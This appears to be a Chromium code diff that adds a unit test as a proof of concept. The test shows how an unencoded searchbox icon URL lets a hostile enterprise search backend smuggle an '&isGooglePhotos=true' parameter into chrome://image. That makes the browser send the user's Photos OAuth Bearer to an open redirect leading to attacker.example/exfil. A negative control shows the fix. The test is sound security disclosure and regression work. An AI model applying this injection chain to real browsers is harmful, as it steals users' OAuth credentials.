diff --git a/chrome/browser/ui/webui/sanitized_image/sanitized_image_source_unittest.cc b/chrome/browser/ui/webui/sanitized_image/sanitized_image_source_unittest.cc
index d9d17c26cfec4..57a6b1a0e262c 100644
--- a/chrome/browser/ui/webui/sanitized_image/sanitized_image_source_unittest.cc
+++ b/chrome/browser/ui/webui/sanitized_image/sanitized_image_source_unittest.cc
@@ -305,6 +305,116 @@ TEST_P(SanitizedImageSourceSigninPromoTest, GooglePhotosImage) {
net::HttpRequestHeaders::kAuthorization));
}
+// POC: Query-parameter injection via searchbox_icon.ts computeSrc_().
+//
+// EnterpriseSearchAggregatorProvider takes `iconUri` verbatim from a
+// policy-configured backend's JSON response (only GURL() canonicalisation,
+// which preserves '&', '=', '?'). searchbox_handler.cc forwards it to the
+// chrome://new-tab-page Realbox WebUI as match.iconUrl. searchbox_icon.ts:472
+// then builds:
+//
+// `//image?staticEncode=true&encodeType=webp&url=${url}`
+//
+// with NO encodeURIComponent(). A hostile aggregator can therefore append
+// `&isGooglePhotos=true` to its iconUri and have it parsed as a top-level
+// chrome://image parameter. With a *.google.com host, SanitizedImageSource
+// mints a photos.image.readonly Bearer and attaches it to a fetch of an
+// attacker-chosen URL. SimpleURLLoader auto-follows redirects without
+// stripping Authorization (net/url_request/redirect_util.cc:83-86), so an
+// open redirect on any *.google.com / *.googleusercontent.com / *.ggpht.com
+// host forwards the victim's Photos OAuth Bearer to an attacker origin.
+//
+// This test reproduces the chain from the point the WebUI
hits the
+// browser process: it builds the chrome://image URL exactly as
+// computeSrc_() does for a malicious aggregator iconUri, and asserts that
+// the browser attaches the user's Photos Bearer to the attacker-chosen URL.
+TEST_F(SanitizedImageSourceTest, SearchboxIconParamInjection_Exploit) {
+ // 1) Hostile aggregator backend returns this as a CONTENT result's iconUri.
+ // Note the trailing &isGooglePhotos=true smuggled in the value.
+ constexpr char kAggregatorIconUri[] =
+ "https://www.google.com/"
+ "open-redirect?continue=https://attacker.example/"
+ "exfil&isGooglePhotos=true";
+
+ // 2) enterprise_search_aggregator_provider.cc:1204 stores it as
+ // match.icon_url = GURL(icon_url). GURL canonicalisation preserves
+ // '&', '=', '?', '/', ':' -- the payload survives.
+ GURL match_icon_url(kAggregatorIconUri);
+ ASSERT_TRUE(match_icon_url.is_valid());
+ ASSERT_NE(match_icon_url.spec().find("&isGooglePhotos=true"),
+ std::string::npos);
+
+ // 3) searchbox_handler.cc:787 sends match_icon_url.spec() to the WebUI as
+ // match.iconUrl (url.mojom.Url is typemapped to a plain TS string).
+ // searchbox_icon.ts:472 then does:
+ // return `//image?staticEncode=true&encodeType=webp&url=${url}`;
+ // -- no encodeURIComponent. The protocol-relative //image resolves to
+ // chrome://image in the chrome://new-tab-page renderer, and is set as
+ //
at searchbox_icon.html.ts:14.
+ GURL chrome_image_url(base::StrCat(
+ {chrome::kChromeUIImageURL,
+ "?staticEncode=true&encodeType=webp&url=", match_icon_url.spec()}));
+
+ // 4) Precondition from the report: signed-in user.
+ signin::IdentityTestEnvironment identity_test_env;
+ identity_test_env.MakePrimaryAccountAvailable("victim@gmail.com",
+ signin::ConsentLevel::kSignin);
+ sanitized_image_source_->set_identity_manager_for_test(
+ identity_test_env.identity_manager());
+
+ // 5) The WebUI renderer's
subresource load reaches the browser-process
+ // URLDataSource here.
+ base::MockCallback callback;
+ sanitized_image_source_->StartDataRequest(
+ chrome_image_url, content::WebContents::Getter(), callback.Get());
+
+ // *** INJECTION SUCCEEDED: the smuggled &isGooglePhotos=true was parsed as a
+ // top-level parameter (the searchbox caller never sets isGooglePhotos), the
+ // *.google.com host suffix-matched IsGooglePhotosUrl(), and the browser is
+ // now minting the victim's photos.image.readonly OAuth token for an
+ // attacker-chosen URL.
+ ASSERT_TRUE(identity_test_env.IsAccessTokenRequestPending())
+ << "Expected the injected &isGooglePhotos=true to cause "
+ "send_auth_token=true and a Photos OAuth token to be minted.";
+
+ identity_test_env.WaitForAccessTokenRequestIfNecessaryAndRespondWithToken(
+ "victim-photos-bearer", base::Time::Max());
+
+ ASSERT_EQ(1, test_url_loader_factory_.NumPending());
+ const network::ResourceRequest& req =
+ test_url_loader_factory_.GetPendingRequest(0)->request;
+
+ // *** CONFUSED-DEPUTY CONFIRMED: the browser attached the victim's Photos
+ // Bearer to an attacker-chosen *.google.com URL. ParseParams() split on '&',
+ // so url= was truncated at the first injected '&' and the attacker's open
+ // redirector at www.google.com receives the credential. SimpleURLLoader will
+ // auto-follow a 302 from this URL without stripping Authorization (no
+ // redirect callback is set; net::RedirectUtil::UpdateHttpRequest does not
+ // implement Fetch step 13 for browser-process loaders).
+ EXPECT_EQ(
+ GURL("https://www.google.com/"
+ "open-redirect?continue=https://attacker.example/exfil"),
+ req.url);
+ EXPECT_THAT(req.headers.GetHeader(net::HttpRequestHeaders::kAuthorization),
+ testing::Optional(std::string("Bearer victim-photos-bearer")));
+
+ // 6) Negative control: with the root-cause fix (encodeURIComponent in
+ // computeSrc_()), the same hostile iconUri does NOT mint a token --
+ // isGooglePhotos stays inside the encoded url= value and is never seen
+ // as a top-level key.
+ url::UriComponentEncoder encoded(match_icon_url.spec());
+ sanitized_image_source_->StartDataRequest(
+ GURL(base::StrCat({chrome::kChromeUIImageURL,
+ "?staticEncode=true&encodeType=webp&url=",
+ encoded.view()})),
+ content::WebContents::Getter(), callback.Get());
+ EXPECT_FALSE(identity_test_env.IsAccessTokenRequestPending());
+ ASSERT_EQ(2, test_url_loader_factory_.NumPending());
+ EXPECT_FALSE(
+ test_url_loader_factory_.GetPendingRequest(1)->request.headers.HasHeader(
+ net::HttpRequestHeaders::kAuthorization));
+}
+
TEST_F(SanitizedImageSourceTest, StaticImage) {
const std::string test_body = "abc";
const std::string test_url = "https://foo.com/img.png";